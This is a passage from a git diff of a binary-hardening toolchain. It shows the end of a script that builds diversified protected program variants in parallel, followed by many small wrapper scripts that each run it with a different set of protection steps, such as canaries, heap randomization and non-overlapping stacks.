+			echo "Unknown backend: ${cmd_line_options[$(expr $seq + 1)]}"
+			exit 1
+		fi
+	# this option is for cfar.  It should always be last so that all the log files for every step can be parsed
+	elif [ "$i" == "--gather_assurance" ]; then 	
+		assurance_case_evidence=1 
+	else
+		new_cmd_line_options+=("$i")
+	fi
+
+	seq=$(expr $seq + 1)
+done
+
+
+# add default options for cfar which asks ps_analyze to fill in a variant specification for what it did.
+# and also by default dump the IRDB mapping information, useful for debugging.
+new_cmd_line_options+=(--step generate_variant_config=on -s rida=on -s meds_static=off --step dump_map=on --step-option zipr:"--add-sections true --bss-opts false")
+
+#
+# figure out a place for ps_analyze to work so we can examine results.
+#
+outbase=$(basename $out)
+
+if  [ $(is_so $in) = 0 ]; then
+	baseoutdir=${out}/target_apps/dh-${in_base}/${config_name}
+else 
+	baseoutdir=${out}/target_app_libs/dh-${in_base}/${config_name}
+fi
+
+if [ -d $baseoutdir ]; then
+	echo "Directory $baseoutdir already exists."
+	echo "Skipping duplicate work."
+	exit 0
+fi
+
+
+# init some variables.
+share_path=/tmp/$(whoami)
+
+declare -A pidSet
+
+# remove any old data xfers.
+rm -f $share_path/Barriers*
+
+
+# pick a random seed for this run.
+anyseed=$$
+
+# create a copy of ps_analyze for each variant we want to create.
+for seq in $(seq 0 $(expr $variants - 1) )
+do
+	# setup an array to pass hold variant-specific options. 
+	declare -a per_variant_options
+	per_variant_options=()
+
+	# options for zipr's large_only plugin to help create non-overlapping code segments. 
+	if [ $structured_noc  -eq 1  -o  $structured_nog -eq 1 ]; then
+		# the path to the "shared memory" that cfar is using.
+		sharepath_key="$seq:$variants:dir://$share_path"
+		per_variant_options+=(--step-option zipr:"--large_only:variant $sharepath_key")
+	fi
+
+	if [ $structured_nos  -eq 1 ]; then
+		sharepath_key="$seq:$variants:dir://$share_path"
+		per_variant_options+=(--step-option non_overlapping_stack:"--mode structured --barrier $sharepath_key")
+	fi
+	
+	# options to p1 to create non-overlapping canary values.
+	if [ $structured_p1_canaries  -eq 1 ]; then
+		per_variant_options+=(--step-option p1transform:"--canary_value 0x100${seq}${seq}000 --random_seed $anyseed")
+	fi
+
+	if [ $structured_heap  -eq 1 ]; then
+		per_variant_options+=(--step-option diehard:"--structured_heap ${seq}")
+	fi
+
+	if [ $structured_ds -eq 1 ]; then
+		sharepath_key="$seq:$variants:dir://$share_path"
+		per_variant_options+=(--step-option duck_season:"--barrier $sharepath_key")
+	fi
+
+	if [ $structured_stack_init -eq 1 ]; then
+		# check even/odd status of variant number.
+		if [ $(expr ${seq} % 2) = 0 ]; then
+			per_variant_options+=(--step-option initialize_stack:"--initvalue 0x00000000")
+		else
+			per_variant_options+=(--step-option initialize_stack:"--initvalue 0xffffffff")
+		fi
+	fi
+
+	# options to stack_stamp to create non-overlapping stamps
+	if [ $structured_stack_stamp  -eq 1 ]; then
+		# check even/odd status of variant number.
+		if [ $(expr ${seq} % 2) = 0 ]; then
+			# even variants get a5 * 4.  this is 01010101... in binary.
+			per_variant_options+=(--step-option stack_stamp:"--stamp-value 0xa5a5a5a5")
+		else
+			# even variants get 5a * 4.  this is 10101010... in binary.
+			per_variant_options+=(--step-option stack_stamp:"--stamp-value 0x5a5a5a5a")
+		fi
+	fi
+
+	# options to turn on assurance case evidence gathering
+	# This has to be here because per_variant options come last in the PS commandline
+	# And we need assurance case evidence to be LAST ps_analyze step executed
+	if [ "$assurance_case_evidence" -eq 1 ]; then
+		per_variant_options+=(--step assurance_case_evidence=on)
+	fi
+
+
+	# add in options for output directory.
+	per_variant_options+=(--tempdir "$baseoutdir/v${seq}/peasoup_executable_dir")
+	mkdir -p "$baseoutdir/v${seq}"
+
+	myin=$(echo $in|sed "s/<<VARNUM>>/$seq/g")
+
+	# invoke $PS.
+	#echo "PGDATABASE=peasoup_${USER}_v$seq $zipr_env $PS $in $baseoutdir/v${seq}/${in_base} " "${new_cmd_line_options[@]}"  "${per_variant_options[@]}" 
+	echo -n "	"
+	(set -x; env PGDATABASE=peasoup_${USER}_v$seq $zipr_env $PS $myin $baseoutdir/v${seq}/${in_base} "${new_cmd_line_options[@]}"  "${per_variant_options[@]}" > $baseoutdir/v${seq}/variant_output.txt 2>&1 ) & 
+
+	# remember the pid.
+	pidSet["$!"]=1
+
+done
+
+
+# mark that no one has detected a failure yet.
+ok=1
+
+
+#
+# wait for each child.  detect failures.
+#
+
+# while there are children we haven't queried their exit status
+while [[ ${#pidSet[@]} != 0 ]] ; 
+do
+	# sleep so this loop doesn't consume too many cycles.
+	sleep 2
+
+	# check each un-checked child to see if it's exited
+	for child in "${!pidSet[@]}"; 
+	do 
+
+
+		kill -0 $child > /dev/null 2>&1
+		dead=$?
+		# if it's dead, mark it as so, and get the exit code
+		if [[ $dead = 1 ]]; then
+			# mark as dead
+			unset pidSet["$child"]
+
+			# get exit code
+			wait $child
+			exit_code=$?
+
+			# sanity check exit code
+			if [ $exit_code == 0 ]; then
+				echo "	Protection process for $child went well!  Exit_code: $exit_code."
+			elif [ $exit_code == 1 ]; then
+				echo "	Protection process for $child had warnings.  Exit_code: $exit_code."
+			else
+				echo "******************************************************************"
+				echo "*Protection process for $child failed with exit code: $exit_code.*"
+				echo "******************************************************************"
+
+				# on an error, kill all remaining jobs.
+				count=0
+				while [[ $(jobs -p) != "" ]] && [[ $count -lt 10 ]] ;
+				do
+					echo "Killing remaining jobs."
+					kill -9 $(jobs -p)
+					sleep 1
+					count=$(expr $count + 1 )
+				done
+
+				# mark that we don't have to check other children.
+				pidSet=()
+
+				# mark that there's a failure observed
+				ok=0
+	
+				# quit checking
+				break
+			fi
+		fi
+		
+	done
+done
+
+
+# report success/failures.
+if [ $ok != 1 ] ; then
+	echo
+	echo
+	echo "Some variants failed"
+	echo
+	echo
+	exit 2
+else
+	echo "Successfully protected $variants variants" 
+fi
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_libtwitcher_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_libtwitcher_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..51b874083583b00a053baccac0274cad14498675
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_libtwitcher_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --config_name $(basename $0 .sh|sed "s/cfar_//") --step libtwitcher=on 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..85996a3aa2a5786be2c1674075dadc3c868b9e7a
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNoh_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNoh_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..27b3e1d8fddc9ee57b7bb3944463dd83d6f0d31d
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNoh_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_probNol_probNoh_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_probNol_probNoh_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f0fc41395de7f248def0a4a9ab0544f9ac2b520b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_probNol_probNoh_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_probNol_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_probNol_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..15d604e72946a451ea22859ff9ac68c8a66c404e
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_probNol_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..83eae91918828f7232a7e086fc9edd27d384d800
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probNos_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5a697cb8712cfceb40a350ab2fa91cebd63c718d
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNog_probHeaprand_probSS_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNog_probHeaprand_probSS_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..37c614f26ce4ed2c60b049266c8c901bcb5904d0
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNog_probHeaprand_probSS_zipr.sh
@@ -0,0 +1,12 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr  \
+	-c p1transform=on  \
+	-c stack_stamp=on  \
+	-c move_globals=on  \
+	-c diehard=on  \
+	--step-option zipr:"--large_only:nog_on true"  \
+	--step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive \
+	--config_name $(basename $0 .sh|sed "s/cfar_//") 
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNog_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNog_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..348095ccb87da4cd0c56c5c8b32a6380022d12db
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNog_probHeaprand_zipr.sh
@@ -0,0 +1,11 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr  \
+	-c p1transform=on  \
+	-c move_globals=on  \
+	-c diehard=on  \
+	--step-option zipr:"--large_only:nog_on true"  \
+	--step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive \
+	--config_name $(basename $0 .sh|sed "s/cfar_//") 
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNos_probNol_probNoh_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNos_probNol_probNoh_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..4a1e79396fdd666a1d9a0e9196ba067a79258033
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNos_probNol_probNoh_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNos_probNol_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNos_probNol_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..38b68675398ca10c90e4c76efe9a7635464f3420
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probNos_probNol_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probSS_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probSS_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..1aba5fab4699a52b3830d508cd2e51b9da622392
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_probSS_probHeaprand_zipr.sh
@@ -0,0 +1,10 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr  \
+	-c p1transform=on  \
+	-c stack_stamp=on  \
+	-c diehard=on  \
+	--step-option zipr:"--large_only:nog_on true"  \
+	--config_name $(basename $0 .sh|sed "s/cfar_//") 
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..24043c958546aed0287e3b2dfe9864bf883919e6
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_probP1_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probBilr_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probBilr_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c5de13438aa4f27ea18d4ed289d1a19580721e8e
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probBilr_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_probHeaprand_probNos_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_probHeaprand_probNos_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..01f4094d7fbce10f1529e3f1480825b0457d6217
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_probHeaprand_probNos_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step non_overlapping_stack=on --step ilr=on --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_probHeaprand_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_probHeaprand_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..2158f400f6e093f2d610f3cdcca00b2892f5e55b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_probHeaprand_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..50987a15599ed5b9bc8e03cd1adcab0f1cdba6bf
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_probP1_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6041c3f9adacd4fb297fb4f0af7eff00605bb99b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_probNos_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_probNos_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..c624a6b092d393fb15a8e6219553b5aca1c50136
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_probNos_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --structured_p1_canaries --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on --step non_overlapping_stack=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b2870be62d53a556b1189d315d30a5be0cdbe277
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --structured_p1_canaries --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..655bb3bfbf1c3c3b74806010e61afd2f566db501
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --structured_p1_canaries --structured_nos --step non_overlapping_stack=on --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d04ace820fe4678ca44e11195398bdfa3b6afef8
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probIlr_structP1Canaries_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --structured_p1_canaries --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNogX_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNogX_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..3e38f1c7a5c04da3a774e4de994ef7e32359da0e
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNogX_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step xor_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNogX_probBilr_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNogX_probBilr_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b1eb6b7b3d3a5e3ed60a7eab7c53e7d4dc4fff34
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNogX_probBilr_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step xor_globals=on --step-option move_globals:"--aggressive" --step-option move_globals:-d --step-option move_globals:.interp --step-option zipr:"--large_only:nog_on true"
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNogX_probSS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNogX_probSS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..482a35eb74a370ad8231c29a8fba7f572df61215
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNogX_probSS_phase1_zipr.sh
@@ -0,0 +1,4 @@
+#!/bin/bash 
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step xor_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNogX_probSS_probSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNogX_probSS_probSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..7148a95a5bea57326af79db9e6aa19c16ac7911b
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNogX_probSS_probSI_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step initialize_stack=on --step-option initialize_stack:"--initvalue $$" --step move_globals=on --step xor_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on  --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive 
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5aca6c8a3fb48939ff8f1ee5c40e79287873ee5e
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_probBilr_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_probBilr_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..39a3f4a061e5ee4310f831d8964bb723e58118df
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_probBilr_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step-option move_globals:-d --step-option move_globals:.interp --step-option zipr:"--large_only:nog_on true"
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_probNol_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_probNol_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d88cf783bb430137783841860cfc752e94270dc4
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_probNol_probNoh_probNos_probBilr_probP1_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..cb852cd2e1aee82912df5189d353478ff07d5f66
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_phase1_zipr.sh
@@ -0,0 +1,4 @@
+#!/bin/bash 
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDSX_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDSX_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..51eeddabbdd68fb532a2e19c1a35dd0be3dd67e8
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_probNog_probSS_probDSX_phase1_zipr.sh
@@ -0,0 +1,12 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+#
+# The calling script is responsible for setting up the options for duck_season
+#    --json 
+#    --imagename
+#    [ --xor ]
+#
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --structured_heap --step diehard=on --step p1transform=on --step duck_season=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on  --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive --step-option duck_season:--xor
